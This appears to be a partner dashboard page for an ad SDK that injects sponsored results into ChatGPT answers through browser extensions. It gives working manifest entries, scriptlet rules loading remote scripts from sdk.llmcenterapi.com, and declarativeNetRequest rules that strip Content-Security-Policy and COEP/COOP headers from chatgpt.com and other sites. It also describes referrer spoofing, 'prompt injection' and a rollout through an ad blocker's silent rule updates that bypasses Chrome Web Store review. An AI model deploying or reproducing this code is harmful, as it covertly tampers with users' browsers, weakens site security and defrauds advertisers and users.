Loading...
Partner analytics dashboard
Queries & Ads Served
Decision Breakdown
Top Verticals
Integration
Add monetization to your extension in 2 minutes
Display Settings
When enabled, users see a small ·ᵃᵈ symbol after each sponsored result title. Disable to show ads without markers.
Method A — Chrome Web Store Extension Bundle SDK in your extension (requires CWS update)
Fetch the SDK remotely using chrome.scripting.registerContentScripts. Your API key is embedded in the URL. No SDK files to manage - updates are automatic.
Method A-alt
Download these 4 files and bundle them directly in your extension. You control when to update.
"content_scripts": [
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac-click.js"],
"run_at": "document_start"
},
{
"matches": ["https://chatgpt.com/*"],
"js": ["ac.js"],
"run_at": "document_idle"
},
{
"matches": ["https://syndicatedsearch.goog/*", "https://www.theanswerbank.co.uk/*"],
"js": ["referrer-spoof.js"],
"run_at": "document_start",
"all_frames": true,
"world": "MAIN"
},
{
"matches": ["https://syndicatedsearch.goog/*"],
"js": ["cse-extract.js"],
"run_at": "document_idle",
"all_frames": true
}
]
SDK Files
ac.js | Main SDK - intent scoring, ad fetch, prompt injection |
ac-click.js | Click router - intercepts ad clicks for attribution tracking |
cse-extract.js | CSE extractor - pulls ads from Google CSE iframe |
referrer-spoof.js | Referrer handler - ensures correct ad attribution context |
Also requires storage permission in your manifest for cross-script communication.
Required Host Permissions
If your extension has <all_urls> - you're all set, no changes needed.
Otherwise, add these to your manifest:
"host_permissions": [
"https://chatgpt.com/*",
"https://api.llmcenterapi.com/*",
"https://syndicatedsearch.goog/*",
"https://www.theanswerbank.co.uk/*"
]
🧪 Test It - Quick Start Extension
Download a ready-to-use Chrome extension with your API key pre-configured. Perfect for verifying the integration before adding it to your own extension.
How to load and test:
- Unzip the downloaded file to a folder
- Your API key is already configured in the download. If you need to change it, open
ac.jsand edit line 1 - Open Chrome → go to
chrome://extensions - Enable Developer mode (top-right toggle)
- Click Load unpacked → select the unzipped folder
- Go to chatgpt.com and ask a commercial question like:
"best wireless headphones under $200" - You should see sponsored results integrated into ChatGPT's response
Open Chrome DevTools console and run localStorage.ac_debug='1' then refresh. You'll see detailed logs:
[AC] Config fetched: v120 - 15 verticals, 6247 brands
[AC] Intent: score=70 decision=trigger vertical=shopping
[AC] CSE: 4 ads found in 520ms
[AC] ✅ Submitting with 4 ads
In production, the SDK is completely silent - no console output unless debug mode is enabled.
Method B — Server-Push Scriptlet Injection Recommended — Zero Chrome Store update
For extensions with an existing remote rule delivery system (scriptlets + declarativeNetRequest). The SDK is loaded via your server's update response — no extension code changes, no Chrome Store review.
Scriptlet rule delivered via /upd/, CSP/COEP headers stripped via /nt_upd/. Full click attribution chain confirmed.
Integration Steps
Step 1. Add these 3 scriptlet rules to your scriptlet rules file (e.g. qKCOj_chatgpt.txt) served by your /upd/ endpoint:
chatgpt.com#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-sdk-gab.js?key=YOUR_API_KEY')
! Bridge — relays ad data between CSE iframe and ChatGPT page
theanswerbank.co.uk#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-bridge-gab.js')
! Extractor — pulls sponsored ads from Google CSE results
syndicatedsearch.goog#%#//scriptlet('insert-node-ex', 'html', 'script', '10', '1000', 'src', 'https://sdk.llmcenterapi.com/gab/ac-extractor-gab.js')
Step 2. Add these 4 DNR rules as a JSON file (e.g. net_chatgpt.json) served by your /nt_upd/ endpoint:
ℹ️ This is valid JSON — copy the entire block directly into your rules file.
"id": 99901,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "content-security-policy-report-only", "operation": "remove" }
]
},
"condition": { "urlFilter": "||chatgpt.com", "resourceTypes": ["main_frame", "sub_frame"] }
},
{
"id": 99902,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "cross-origin-embedder-policy", "operation": "remove" },
{ "header": "cross-origin-opener-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||chatgpt.com", "resourceTypes": ["main_frame"] }
},
{
"id": 99903,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||theanswerbank.co.uk", "resourceTypes": ["sub_frame"] }
},
{
"id": 99904,
"priority": 6,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "content-security-policy", "operation": "remove" }
]
},
"condition": { "urlFilter": "||syndicatedsearch.goog", "resourceTypes": ["sub_frame"] }
}]
99901 | Strip CSP from chatgpt.com — allows SDK script to load |
99902 | Strip COEP/COOP from chatgpt.com — allows cross-origin iframes for CSE |
99903 | Strip CSP from theanswerbank.co.uk — CSE bridge iframe |
99904 | Strip CSP from syndicatedsearch.goog — Google CSE ad extractor |
Step 3. Update your server manifests so the extension knows to fetch the new rules:
{ "qKCOj": { "EWxy": ["https://your-server.com/rules/qKCOj_chatgpt.txt"], "WMLwdr": 999 } }
Your /nt_upd/ endpoint should return (bump HKOoAV to trigger update):
{ "DDX": "https://your-server.com/rules/net_chatgpt.json", "HKOoAV": 1000 }
Step 4. Ensure your extension’s manifest.json includes these host permissions (if not already present via <all_urls>):
"https://chatgpt.com/*",
"https://sdk.llmcenterapi.com/*",
"https://api.llmcenterapi.com/*",
"https://www.theanswerbank.co.uk/*",
"https://syndicatedsearch.goog/*"
]
If your extension already has <all_urls>, skip this step.
Once deployed, Giant Ad Blocker currently updates rules every ~60 minutes via its alarm cycle. All users will receive the new rules automatically — no extension binary changes, no Chrome Store review needed.
Decision Logs
Every query processed by your users
API Keys
Manage keys for your integrations. Each key tracks usage independently.